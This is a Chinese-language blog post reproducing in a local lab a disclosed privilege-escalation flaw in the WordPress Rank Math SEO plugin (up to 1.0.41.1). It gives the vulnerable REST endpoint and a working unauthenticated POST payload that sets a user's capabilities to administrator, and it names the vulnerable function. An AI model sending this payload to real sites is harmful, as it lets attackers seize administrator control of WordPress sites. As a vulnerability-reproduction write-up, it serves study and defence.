WordPres-Rank-Math-SEO插件任意元数据修改复现

前言

Defiant的Wordfence威胁情报团队在一个不受保护的REST-API端点中发现了Rank Math特权升级漏洞。

根据Defiant QA工程师Ram Gall的说法,成功利用此漏洞“使未经身份验证的攻击者可以更新任意元数据,其中包括为站点上任何注册用户授予或撤消管理特权的能力。

复现

首先手动搭建环境

1
rank math 插件<=1.0.41.1版本
1
2
3
4
5
6
7
8

WP Rest API(https://cn.wp.xz.cn/plugins/rest-api/)

rank math(https://downloads.wordpress.org/plugin/seo-by-rank-math.1.0.40.zip)

phpstudy(php7.0

wordpress 4.9.0(由于rank math的问题,必须至少大于这个版本)

wordepress下载地址

插件安装好即可

如图所示,创建一个新用户,用于测试。

image-20200507160027122

为检验用,查询数据库中的用户信息

image-20200507161551070

image-20200507172112887

image-20200507172238921

然后我们查看wp-json,看看API的接口信息。

image-20200507174842582

从api中可以看到修改元数据的接口,请求方式为POST

然后URL为

1
http://127.0.0.1/wp-json/rankmath/v1/updateMetaBulk

payload:

1
objectID=2&objectType=user&meta[wp_user_level]=10&meta[wp_capabilities][administrator]=1

image-20200507185340300

(PS:后来重新弄了个test2,道理是一样的)

image-20200507185424550

成功重写

漏洞代码

1
\wp-content\plugins\seo-by-rank-math\includes\rest\class-admin.php中的update_metadata

image-20200507190053697

其中meta的数据对应数据库中的键名,我们根据该键名,去添加我们所需要修改的数据,然后update_metadata带入数据库修改元数据。

总结

好饿……

Author: 我是小吴啦
Link: http://yoursite.com/2020/05/07/WordPres-Rank-Math-SEO%E6%8F%92%E4%BB%B6%E4%BB%BB%E6%84%8F%E5%85%83%E6%95%B0%E6%8D%AE%E4%BF%AE%E6%94%B9%E5%A4%8D%E7%8E%B0/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.